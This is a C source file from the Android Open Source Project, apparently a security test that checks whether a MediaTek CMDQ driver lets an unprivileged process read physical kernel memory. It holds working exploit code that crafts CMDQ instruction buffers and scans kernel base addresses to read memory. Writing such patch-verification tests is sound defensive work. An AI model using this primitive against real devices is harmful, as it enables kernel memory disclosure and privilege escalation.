blob: 4cc0852918cdc882656cec0d7dd1ac8bffb011af [file] [log] [blame]
/**
* Copyright (C) 2020 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <ctype.h>
#include <errno.h>
#include <fcntl.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
#include "../includes/common.h"
static char *device_names[] = {"/dev/mtk_cmdq", "/proc/mtk_cmdq",
"/dev/mtk_mdp"};
#define CMDQ_IOCTL_ALLOC_WRITE_ADDRESS 0x40087807
#define CMDQ_IOCTL_FREE_WRITE_ADDRESS 0x40087808
// This is "most" of the IOCTL code, though the size field is left out as it
// will be ORed in later when the specific value for this device has been
// identified.
#define CMDQ_IOCTL_EXEC_COMMAND 0x40007803
struct cmdqWriteAddressStruct {
uint32_t count;
uint32_t address;
};
struct cmdqReadRegStruct {
uint32_t count;
uint64_t addresses;
};
struct cmdqRegValueStruct {
uint32_t count;
uint64_t values;
};
struct cmdqReadAddressStruct {
uint32_t count;
uint64_t addresses;
uint64_t values;
};
struct cmdqCommandStruct {
uint32_t value1;
uint32_t value2;
uint64_t value3;
uint64_t buffer;
uint32_t buffer_size;
struct cmdqReadRegStruct reg_request;
struct cmdqRegValueStruct reg_value;
struct cmdqReadAddressStruct read_address;
uint8_t padding[0x2f0 - 0x58];
};
typedef enum {
OperationSuccess,
OperationFailed,
OperationError,
} OperationResult;
#define SET_VALUE(x) \
instructions[command.buffer_size / 8] = (x); \
command.buffer_size += 8;
// This function identifies what the IOCTL command code should be
// for EXEC_COMMAND, given that it varies depending on the structure size.
OperationResult work_out_ioctl_code(int fd, int *ioctl_code) {
uint64_t instructions[0x100];
struct cmdqCommandStruct command;
memset(instructions, 0, sizeof(instructions));
memset(&command, 0, sizeof(command));
command.buffer = (uint64_t)&instructions;
// CMDQ_CODE_WFE
SET_VALUE(0x2000000080010000);
// CMDQ_CODE_EOC
SET_VALUE(0x4000000000000001);
// CMDQ_CODE_JUMP - argA is 0 and argB is 8, this is ok.
SET_VALUE(0x1000000000000008);
for (int ii = 0xa8; ii <= 0x2f0; ii += 8) {
int ioctl_result =
ioctl(fd, CMDQ_IOCTL_EXEC_COMMAND | (ii << 16), &command);
if ((-1 != ioctl_result) || (errno != ENOTTY)) {
*ioctl_code = CMDQ_IOCTL_EXEC_COMMAND | (ii << 16);
return OperationSuccess;
}
}
// Unable to identify the particular IOCTL code for this device.
return OperationError;
}
OperationResult perform_pa_read(int fd, int ioctl_code, uint32_t kernel_buffer,
uint64_t address, unsigned char *buffer,
size_t size) {
OperationResult result = OperationError;
uint64_t *instructions = NULL;
uint32_t *addresses = NULL;
struct cmdqCommandStruct command;
size_t num_words = size / 4;
if (size % 4) {
goto exit;
}
// Each command is 8 bytes, we require 5 commands for every 32 bits we try to
// read, plus another 4 for prologue/epilogue.
instructions = malloc((num_words * 5 + 4) * sizeof(uint64_t));
if (!instructions) {
goto exit;
}
// Another buffer to tell the driver where to read back from.
addresses = malloc(sizeof(uint32_t) * num_words);
if (!addresses) {
goto exit;
}
memset(&command, 0, sizeof(command));
command.buffer = (uint64_t)instructions;
command.read_address.count = size;
command.read_address.addresses = (uint64_t)addresses;
command.read_address.values = (uint64_t)buffer;
// CMDQ_CODE_WFE
SET_VALUE(0x2000000080010000);
for (size_t ii = 0; ii < num_words; ii++) {
addresses[ii] = kernel_buffer + (sizeof(uint32_t) * ii);
// CMDQ_CODE_MOVE - put DMA address into register
SET_VALUE(0x0297000000000000 | addresses[ii]);
// CMDQ_CODE_WRITE - write PA into DMA address
SET_VALUE(0x0497000000000000 | (address + sizeof(uint32_t) * ii));
// CMDQ_CODE_READ - read PA into register from DMA address
SET_VALUE(0x01d7000000000005);
// CMDQ_CODE_READ - read from PA into register
SET_VALUE(0x01c5000000000005);
// CMDQ_CODE_WRITE - write value into DMA address
SET_VALUE(0x04d7000000000005);
}
// CMDQ_CODE_WFE
SET_VALUE(0x2000000080010000);
// CMDQ_CODE_EOC
SET_VALUE(0x4000000000000001);
// CMDQ_CODE_JUMP - argA is 0 and argB is 8, this is ok.
SET_VALUE(0x1000000000000008);
switch (ioctl(fd, ioctl_code, &command)) {
case -1:
if (errno == EFAULT) {
// Command buffer rejected, the driver is patched.
result = OperationFailed;
}
// Something is wrong with the command buffer. This may be a device
// type that has not been encountered during testing.
break;
case 0:
// Driver accepted the command buffer and did something with it.
result = OperationSuccess;
break;
}
exit:
if (addresses) {
free(addresses);
}
if (instructions) {
free(instructions);
}
return result;
}
int main() {
int exit_code = EXIT_FAILURE;
int fd = -1;
unsigned char buffer[0x1000];
size_t read_size = 0x100;
struct cmdqWriteAddressStruct kernel_buffer = {read_size, 0};
int ioctl_code = 0;
bool command_accepted = false;
// Mediatek have given these as possible kernel base addresses for different
// devices.
unsigned long kernel_bases[] = {0x40008000, 0x40080000, 0x80008000};
unsigned long pa_length = 0x10000;
for (size_t ii = 0; ii < sizeof(device_names) / sizeof(device_names[0]);
ii++) {
fd = open(device_names[ii], O_RDONLY);
if (-1 == fd) {
// If we can't access the driver, then it's not vulnerable.
if (errno == EACCES) {
exit_code = EXIT_SUCCESS;
goto exit;
}
} else {
break;
}
}
if (-1 == fd) {
goto exit;
}
if (-1 == ioctl(fd, CMDQ_IOCTL_ALLOC_WRITE_ADDRESS, &kernel_buffer)) {
goto exit;
}
if (OperationSuccess != work_out_ioctl_code(fd, &ioctl_code)) {
goto exit;
}
for (size_t ii = 0; ii < sizeof(kernel_bases) / sizeof(kernel_bases[0]);
ii++) {
for (unsigned long pa = kernel_bases[ii]; pa < kernel_bases[ii] + pa_length;
pa += 0x1000) {
memset(buffer, 0, read_size);
switch (perform_pa_read(fd, ioctl_code, kernel_buffer.address, pa, buffer,
read_size)) {
case OperationSuccess:
command_accepted = true;
for (size_t ii = 0; ii < read_size; ii++) {
if (buffer[ii] != 0) {
exit_code = EXIT_VULNERABLE;
goto exit;
}
}
break;
case OperationFailed:
exit_code = EXIT_SUCCESS;
break;
case OperationError:
break;
}
}
}
// If the driver accepted commands, but we didn't manage to read any data,
// then we failed to demonstrate a vulnerability.
if (command_accepted) {
exit_code = EXIT_SUCCESS;
}
exit:
if (-1 != fd) {
if (kernel_buffer.address != 0) {
(void)ioctl(fd, CMDQ_IOCTL_FREE_WRITE_ADDRESS, &kernel_buffer);
}
(void)close(fd);
}
return exit_code;
}